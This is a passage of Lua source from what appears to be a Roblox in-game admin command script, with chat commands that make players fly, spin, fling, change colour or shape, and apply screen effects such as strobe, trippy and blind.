bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
until not flying 
ctrl = {f = 0, b = 0, l = 0, r = 0} 
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
speed = 0 
bg:Destroy() 
bv:Destroy() 
plr.Character.Humanoid.PlatformStand = false 
end 
mouse.KeyDown:connect(function(key) 
if key:lower() == &quot;e&quot; then 
if flying then flying = false 
else 
flying = true 
Fly() 
end 
elseif key:lower() == &quot;w&quot; then 
ctrl.f = 1 
elseif key:lower() == &quot;s&quot; then 
ctrl.b = -1 
elseif key:lower() == &quot;a&quot; then 
ctrl.l = -1 
elseif key:lower() == &quot;d&quot; then 
ctrl.r = 1 
end 
end) 
mouse.KeyUp:connect(function(key) 
if key:lower() == &quot;w&quot; then 
ctrl.f = 0 
elseif key:lower() == &quot;s&quot; then 
ctrl.b = 0 
elseif key:lower() == &quot;a&quot; then 
ctrl.l = 0 
elseif key:lower() == &quot;d&quot; then 
ctrl.r = 0 
end 
end)
Fly()]]
cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,6) == &quot;unfly &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v.Character:findFirstChild(&quot;Humanoid&quot;) then
for a, q in pairs(v.PlayerGui:children()) do if q.Name == &quot;FlyScript&quot; then q:Destroy() end end
for a, q in pairs(v.Character.Torso:children()) do if q.Name == &quot;BodyGyro&quot; or q.Name == &quot;BodyVelocity&quot; then q:Destroy() end end
wait(.1) v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower() == &quot;disco&quot; then
for i, v in pairs(lobjs) do v:Destroy() end
local cl = script.ScriptBase:Clone() cl.Name = &quot;LightEdit&quot; cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
game.Lighting.Ambient = color
game.Lighting.FogColor = color
until nil]]
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower() == &quot;flash&quot; then
for i, v in pairs(lobjs) do v:Destroy() end
local cl = script.ScriptBase:Clone() cl.Name = &quot;LightEdit&quot; cl.Code.Value = [[repeat wait(.1) 
game.Lighting.Ambient = Color3.new(1,1,1)
game.Lighting.FogColor = Color3.new(1,1,1)
game.Lighting.Brightness = 1
game.Lighting.TimeOfDay = 14
wait(.1) 
game.Lighting.Ambient = Color3.new(0,0,0)
game.Lighting.FogColor = Color3.new(0,0,0)
game.Lighting.Brightness = 0
game.Lighting.TimeOfDay = 0
until nil]]
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower():sub(1,5) == &quot;spin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for i,v in pairs(v.Character.Torso:children()) do if v.Name == &quot;SPINNER&quot; then v:Destroy() end end
local torso = v.Character:findFirstChild(&quot;Torso&quot;)
local bg = Instance.new(&quot;BodyGyro&quot;, torso) bg.Name = &quot;SPINNER&quot; bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
until not bg or bg.Parent ~= torso
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unspin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,q in pairs(v.Character.Torso:children()) do if q.Name == &quot;SPINNER&quot; then q:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;dog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
v.Character.Torso.Transparency = 1
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
local new = Instance.new(&quot;Seat&quot;, v.Character) new.Name = &quot;FAKETORSO&quot; new.formFactor = &quot;Symmetric&quot; new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
local bf = Instance.new(&quot;BodyForce&quot;, new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
local weld = Instance.new(&quot;Weld&quot;, v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
for a, part in pairs(v.Character:children()) do if part:IsA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Brown&quot;) elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Brown&quot;) end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;undog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character.Torso:findFirstChild(&quot;Shirt&quot;) then v.Character.Torso.Shirt.Parent = v.Character end
if v.Character.Torso:findFirstChild(&quot;Pants&quot;) then v.Character.Torso.Pants.Parent = v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:IsA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Destroy() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;creeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:IsA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Bright green&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Destroy() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Bright green&quot;) end end
end
end))
end
end

if msg:lower():sub(1,10) == &quot;uncreeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character.Torso:findFirstChild(&quot;Shirt&quot;) then v.Character.Torso.Shirt.Parent = v.Character end
if v.Character.Torso:findFirstChild(&quot;Pants&quot;) then v.Character.Torso.Pants.Parent = v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:IsA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Destroy() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;bighead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end

if msg:lower():sub(1,9) == &quot;minihead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end

if msg:lower():sub(1,6) == &quot;fling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;seizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
local cl = script.ScriptBase:Clone() cl.Name = &quot;SeizureBase&quot; cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,10) == &quot;unseizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i,v in pairs(v.Character:children()) do if v.Name == &quot;SeizureBase&quot; then v:Destroy() end end
wait(.1) v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removelimbs &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) and (obj.Name:find(&quot;Leg&quot;) or obj.Name:find(&quot;Arm&quot;)) then obj:Destroy() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;name &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Destroy() end end
local char = v.Character
local mod = Instance.new(&quot;Model&quot;, char) mod.Name = msg:sub(chk1+1)
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new(&quot;Humanoid&quot;, mod) hum.Name = &quot;NameTag&quot; hum.MaxHealth = 0 hum.Health = 0
local weld = Instance.new(&quot;Weld&quot;, cl) weld.Part0 = cl weld.Part1 = char.Head
char.Head.Transparency = 1
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unname &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;char &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. msg:sub(chk1+1)
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unchar &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. v.userId
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;infect &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Infect(v.Character)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;rainbowify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
local cl = script.ScriptBase:Clone() cl.Name = &quot;ify&quot; cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;flashify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
local cl = script.ScriptBase:Clone() cl.Name = &quot;ify&quot; cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,8) == &quot;noobify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Noobify(v.Character)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;ghostify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.Transparency = 1 end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;goldify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;shiny &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
if v.Character:findFirstChild(&quot;Shirt&quot;) then v.Character.Shirt.Parent = v.Character.Torso end
if v.Character:findFirstChild(&quot;Pants&quot;) then v.Character.Pants.Parent = v.Character.Torso end
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;normal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character:findFirstChild(&quot;Head&quot;) then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
if v.Character.Torso:findFirstChild(&quot;Shirt&quot;) then v.Character.Torso.Shirt.Parent = v.Character end
if v.Character.Torso:findFirstChild(&quot;Pants&quot;) then v.Character.Torso.Pants.Parent = v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Destroy() end end
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;White&quot;)
if prt.Name == &quot;FAKETORSO&quot; then prt:Destroy() end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;White&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;trippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUITRIPPY&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;untrippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUITRIPPY&quot; then g:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;strobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUISTROBE&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unstrobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUISTROBE&quot; then g:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;blind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUIBLIND&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unblind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUIBLIND&quot; then g:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;guifix &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;loopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v then
local cl = script.ScriptBase:Clone() cl.Name = &quot;LoopHeal:&quot;..v.Name cl.Code.Value = [[
local plr = game.Players:findFirstChild(&quot;]] .. v.Name .. [[&quot;)
repeat wait()
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
end
end))
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == &quot;LoopHeal:&quot;..v.Name then sc:Destroy() table.remove(objects,q) end end end
end

if msg:lower():sub(1,10) == &quot;loopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
if v then
local cl = script.ScriptBase:Clone() cl.Name = &quot;LoopFling:&quot;..v.Name cl.Code.Value = [[
local plr = game.Players:findFirstChild(&quot;]] .. v.Name .. [[&quot;)
repeat
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;) and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
